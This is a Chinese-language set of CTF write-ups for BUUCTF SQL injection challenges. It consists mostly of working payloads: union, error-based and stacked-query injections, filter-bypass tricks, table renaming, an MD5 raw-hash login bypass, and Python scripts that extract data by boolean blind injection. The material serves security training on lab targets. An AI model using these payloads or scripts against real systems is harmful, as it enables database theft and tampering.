BUUCTF-SQL注入
[极客大挑战 2019]EasySQL
考点:sql注入-万能密码
[极客大挑战 2019]LoveSQL
考点:union联合注入
解题
1、用万能密码就登进去了
2、用admin和fc04b11f3d0602213859e9c721e53116登进去还是一样的
3、order by查出3个字段
4、爆当前库名:
' union select 1,1,database() #
->库名:geek
5、爆表名:
' union select 1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='geek' #
->根据题目,表名应该就是l0ve1ysq1
6、查询所有的字段名:
' union select 1,1,group_concat(distinct column_name) from information_schema.columns where table_name='l0ve1ysq1' #
' union select 1,1,group_concat(password) from l0ve1ysq1 #
[极客大挑战 2019]BabySQL
考点:union联合注入
解题
1、用万能密码登陆,回显过滤了or ,双写绕过:
' oorr 1=1 #
2、用order by查出3个字段
' oorrder bbyy 1 #
3、爆当前库名:(回显union和select都被过滤,双写绕过)
' ununionion seselectlect 1,1,database() #
->库名:geek
4、爆表名:(回显from、where被过滤)
注意information里的or
' ununionion seselectlect 1,1,group_concat(distinct table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
->表名:b4bsql,geekuser,有2个,肯定是b4bsql
5、爆字段:
' ununionion seselectlect 1,1,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #
->id,username,password
6、
' ununionion seselectlect 1,1,group_concat(passwoorrd) frfromom b4bsql #
BabySql过滤了or,union,select,from等关键字,看回显缺什么再写一遍就行了,其它和上一关LoveSql一样。
[极客大挑战 2019]HardSQL
考点:报错注入
解题
1、打开bp fuzz,union|order by|等号|空格|substr等被过滤
2、爆当前的数据库名:
空格绕过:用括号()包起来就行
'or(extractvalue(1,concat('~',database())))#
用updatexml()函数是一样的:
'or(updatexml(1,concat('~',database()),1))#
'or(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")))))#
'or(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#
'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#
flag{f5629ada-833f-4eb8-a6f2-49
没出全,因为extractvalue和updatexml()都有最长32的长度限制
这时候就要想到mysql的一些函数,substr,left,right
- substr(字符串,起始位置,截取长度)
- left(字符串,截取长度)#从左往右截取
*
位 - right(字符串,截取长度)#从右往左截取
*
位
注意:substr被过滤了
'or(extractvalue(1,concat('~',(select(right(password,20))from(H4rDsq1)))))#
BUUCTF-[强网杯 2019]随便注
考点:堆叠注入
换表
解题
1、网页标题是easy_sql
输入1、2有回显,其余都无查询结果
单引号字符型注入
2、order by判段出2列
3、爆库名:
1' union select 1,group_concat(schema_name) from information_schema.schemata%23
过滤了select|update|delete|drop|insert|where|.关键字
4、看师傅们的wp,这里用堆叠注入
查询所有表:
?inject=';show tables;%23
->表名:1919810931114514和words
查询第一个表1919810931114514中的列:
?inject=';show columns from `1919810931114514`;%23
(本地测试了一下,表名如果是数字,表名要加反单引号)
->1919810931114514表的列名:flag
查数据:
?inject=';show flag from `1919810931114514`;%23
没结果。。。
查询第2个表words的列:
?inject=';show columns from words;%23
->words表有2个列:id、data
根据一开始输入1,查询出的结果是一个数字和一个字符串,而words表结构是id和data,判断出words是查询的表,GET传入的参数inject的值赋值给id。
后台sql语句大概是:select id from words where id='1';
把数字表名改成words,words表名改成words1。换了后,words1是默认查询的表,words只有flag一个字段,页面查询的是id,所以把words表的flag字段改为id(改列名时注意加上数据类型):
';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);%23
笔记
堆叠注入
原理:在sql中,分号代表一条语句结束,但如果用分号分割,同时执行多条sql语句,就会造成堆叠注入,例如:
select * from testtable;show databases;
测试一下:第一条删除id为2的数据,第二条查询全部数据:
[GYCTF2020]Blacklist
考点:堆叠注入
handle语句替代select查询
解题
1、经测试,是字符型注入
2、查列数:
url:
?inject=1' order by 1%23
->2列
3、用union联合查询:
?inject=1'union select 1,2%23
回显有过滤
4、用堆叠注入,查库名:
?inject=1';show databases;
->库名:supersqli
查表名:
?inject=1';show tables;
->表名:FlagHere、words
先查看FlagHere中的字段:
?inject=1';show columns from FlagHere;
有flag字段
再查words表中的字段:
?inject=1';show columns from words;
有id和data两个字段
和“[强网杯 2019]随便注”这道题类似,但是现在这题过滤了rename
和alter
,不能换表
学到用handler语句替代select查询
handle官方文档
参考:mysql查询语句-handler
handler table_name open; #打开表table_name,声明一个名为table_name的句柄
handler table_name read first; #获取第一行数据
handler table_name close; #关闭打开的句柄
payload:
?inject=1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;%23
BUUCTF-[GYCTF2020]Ezsqli
解题
1、
1 回显Nu1L
2 回显V&N
3 回显Error Occured When Fetch Result.
1' 回显 bool(false)
参数id处存在注入
1 or 1=1 回显SQL Injection Checked.
上面测试共有4种回显:
- Nu1L或V&N 有查询结果
- Error Occured When Fetch Result. 无查询结果
- bool(false) sql语法有错
- SQL Injection Checked. 存在过滤
2、
输入1a,打开bp fuzz
过滤了union|and|or|union select|if|in|information
(本来我用id=\(1\)测试,一些过滤没测出来,心凉,遂请教师傅,在没有产生注入的情况下,把测试关键字插入到正确的sql语句中)
看上面的过滤,不能用报错注入
1^1 回显Error Occured When Fetch Result.
1^0 回显Nu1L
可用bool盲注
3、通过盲注爆表:
import requests
url='http://c631cfe0-e07d-41e6-be58-60f6e4cc8f06.node3.buuoj.cn/'
table_name=''
for i in range(1,50):
for j in range(40,128):
payload = "1&&(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1)))=%d"%(i,j)
data={'id': payload}
r=requests.post(url,data=data)
if 'Nu1L' in r.text:
table_name=table_name+chr(j)
print(table_name)
break
->表名:f1ag_1s_h3r3_hhhhh,users233333333333333
4、无列名注入
先判断列数:
union select不能用,payload:1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))
1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh)) 回显bool(false)
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)) 回显Error Occured When Fetch Result.
1^((select 1,2,3)>(select * from f1ag_1s_h3r3_hhhhh)) 回显bool(false)
->2列
通过第一个字符判断flag在哪一列:
1^((select 'f',2)>(select * from f1ag_1s_h3r3_hhhhh)) 回显Nu1L
1^((select 'g',2)>(select * from f1ag_1s_h3r3_hhhhh)) 回显Nu1L,和理论不一致
1^((select 1,'f')>(select * from f1ag_1s_h3r3_hhhhh)) 回显Nu1L,一致
1^((select 1,'g')>(select * from f1ag_1s_h3r3_hhhhh)) 回显Error Occured When Fetch Result.,一致
所以flag在第2列,且第一个字符是f
(其实一般有2列的话,flag大部分都在第2列)
爆数据:
import requests
url = 'http://a8f8d1ca-23b3-4e08-88cc-bc2c636ae798.node3.buuoj.cn/'
flag = ''
result = ''
for i in range(1,50):
print(i)
for j in range(40,127):
result = flag+chr(j)
payload = '1^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(result)
data = {'id': payload}
r = requests.post(url,data)
if 'Error' in r.text:
flag += chr(j-1)
print(flag)
break
解释:
1^((select 1,'a')>(select * from f1ag_1s_h3r3_hhhhh)) ,1^0=1,回显Nu1L
比如第一个字符,小于等于f时,10=1,回显Nu1L;大于f时,g>f,11=0,回显Error Occured When Fetch Result.
,所以要j-1,记录此时的flag
在下次循环,对于mysql中的大于号,前面一样的,继续比较后面的
笔记
1、bypass information_schema:
参考:
https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/
https://www.anquanke.com/post/id/193512
- mysql.innodb_table_stats(需要mysql>=5.6) ×
- sys.schema_auto_increment_columns ×
- sys.nnodb_buffer_stats_by_table
- sys.x$schema_flattened_keyss
- sys.schema_table_statistics
- sys.schema_table_statistics_with_buffer
2、无列名注入
常规获取表名是:
payload="1&&(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d)"%(i,j)
information_schema库被过滤时,将查询语句和列进行比较,可以查出多少列
好像这个表里只能有1行
参考:
https://f4de.ink/2020/06/10/GYCTF2020-Ezsqli/
https://www.gem-love.com/ctf/1782.html
http://mo0n.top/2020/02/24/gyctf2020-writeup/#toc-heading-10
[SWPU2019]Web1
考点:bypass information、无列名注入
解题
1、发现在title处存在sql注入:
打开bp,fuzz,过滤了and|or|#|%23
1'/**/&&/**/'1'='1
1'/**/&&/**/'1'='2
是单引号字符型注入
2、爆列数:
0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
->22列
3、判断回显位:
0'union/**/select/**/version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
回显位在2、3位
4、union联合查询爆表名:
0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
0'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
通过加减得出user表有3列。
笔记
无列名注入:select 字段 from 联合查询
看到,使用union联合查询,列名p
,user
会被数字1,2,3代替
select `2` from (select 1,2 union select * from t0926)a;
解释:
①2加反单引号,表示它是列名
②a
是select 1,2 union select * from t0926
这个表的别名,可任意
[极客大挑战 2019]FinalSQL
考点:bool盲注
解题
1、
页面hint了sql盲注,点击5个按钮,get传参分别为1-5
?id=1^0 真,返回正确
?id=1^1 假,返回ERROR!!!
用bool盲注
2、过滤了union|空格|and等等,用括号包住绕过空格
写脚本,用二分去爆破库名,表名,列名,flag数据,1^(sql判断语句),如果页面返回正常,说明id=1,sql判断语句为假;反之如果页面返回ERROR!!!,说明id=0,sql判断语句为真
(后面flag数据很长,所以位数i就设大了点)
import requests
url_ = "http://e11a9824-28ed-43c3-ad08-c4979caacc5b.node3.buuoj.cn/search.php?id="
name = ""
for i in range(1,1000):#i表示库名的第i位
low = 32
high = 128
mid = (low + high) // 2
while low < high :
payload = "1^(ascii(substr(database(),%d,1))>%d)" % (i, mid)#库名爆出geek
#payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)" % (i, mid)#表名是F1naI1y
#payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),%d,1))>%d)" % (i, mid)#id,username,password
#payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, mid)
url = url_ + payload
response = requests.get(url)
#库名的当前字符比mdi大
if "ERROR!!!" in response.text:
low = mid + 1
#比mid小
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
[CISCN2019 华北赛区 Day2 Web1]Hack World
考点:sql注入-bool盲注
解题
1 回显:Hello, glzjin wants a girlfriend.
2 回显:Do you want to be my girlfriend?
1' 回显:bool(false)
1^1 回显:Error Occured When Fetch Result.
1^0 回显:Hello, glzjin wants a girlfriend.
1 or 回显:SQL Injection Checked.
测试总结共4种回显:
- Hello...或Do you... 有查询结果
- Error Occured When Fetch Result. 无查询结果
- bool(false) sql语法有错
- SQL Injection Checked.有过滤
2、打开bp,fuzz一下,过滤了空格,用括号绕过
3、用二分法爆破一下,脚本如下:
import requests
url = "http://e5396176-4c24-4c09-a8af-917d636cde2a.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
low = 32
high = 128
mid = (low + high) // 2
while(low < high):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)" % (i,mid)
r = requests.post(url,data=payload)
if "Hello" in r.text:
low = mid+1
else:
high = mid
mid = (low + high) // 2
if(mid == 32):
break
result = result + chr(mid)
print(result)
[GXYCTF2019]BabySQli
当时比赛的题目描述:
刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
考点:
1、uesername和password分开验证
2、md5绕过验证
解题:
1、打开靶机后有个username和password的登录框
F12之后,访问search.php,base32 decode,base64 decode,得到:
select * from user where username = '$name'
只对username做了判断,所以注入点在username
查字段数,order by查不出来,可能过滤了or,大写绕过
fuzz后,发现or、()、=被过滤
' Order by 4#
或
' union select 1,2,3,4#
->3个字段
猜测可能是id,uesrname,password这样
username输入admin,返回wrong pass!,输入其他的返回wrong user!
至于为什么输入admin对了,一般出题username最可能用admin
参考师傅们的wp:
https://www.gem-love.com/ctf/453.html
https://artd33.github.io/2019/12/29/Training-MySQL-I-Training-MySQL-II/
payload:
username:' union select 1,'admin','4ded286ec88b56f6b0da58034f991714'#
[BJDCTF2020]Easy MD5
考点:bypass md5($var,true)
解题
打开题目是这样的:
/leveldo4.php
1、根据题目,直接用ffifdyop
这个字符串吧
<?php
echo md5("ffifdyop", true);//'or'6�]��!r,��b
在mysql里,字符串或变量作布尔型判断时,以数字开头的字符串会忽略数字后面的字符。例:password=‘6xxx’,结果为true。
所以,这里相当于万能密码永真。
2、
/levels91.php?a[]=1&b[]=2
3、
/levell14.php
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
POST:param1[]=1¶m2[]=2
password:Pur3
[SUCTF 2019]EasySQL
考点:堆叠注入、sql_mode=PIPES_AS_CONCAT
解题
在输入非0的数字时,都返回:
输入其他任意非数字(除0)的,无任何回显
有长度限制。
打开bp fuzz测试,过滤了union|and|or|from|sleep|extractvalue|updatexml|information。
尝试用堆叠注入
查库名:
查表名:
尝试输入6,7
再输入3,4,5
判断出注入点在select_expr
sql语句大概是select $_REQUEST['query'] from Flag
学习学习
源码中的sql语句是:
$sql = "select ".$post['query']."||flag from Flag";
预期解
因为这里网页是php语言,所以是mysql数据库
本地看一下这个||
:
第2个字段p||2
在这里,无任何意义
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。
关于sql_mode的解释查看:sql-mode官方文档
sql_mode中的PIPES_AS_CONCAT把||
视为字符串的连接操作符而非或运算符,和字符串的拼接函数Concat相类似。
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接起来是:
$sql = "select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag";
非预期解
*,0
sql语句为:select *,0||flag from Flag
,即select * from Flag
总结
这题遇到了注入点在select_expr的情况;还有mysql中,用sql_mode=PIPES_AS_CONCAT
转化||
的方法。
[RCTF2015]EasySQL
考点:报错注入
解题
1、打开题目:
进入/register.php
注册登录后有修改密码的功能,有修改后台数据的地方就可能存在二次注入
2、再回到/register.php,测出在加双引号注册后修改密码时返回报错信息
获取表名:
Hh0" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
弹出invalid string!
,有过滤哇,用Bpfuzz一下,过滤了空格
获取表名:
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)))))#
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)))))#
返回一堆xxx,肯定前几行的数据都是xxx,用regexp正则匹配real_flag_1s_here
列中f开头的数据
Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
Hh0"or(extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))))#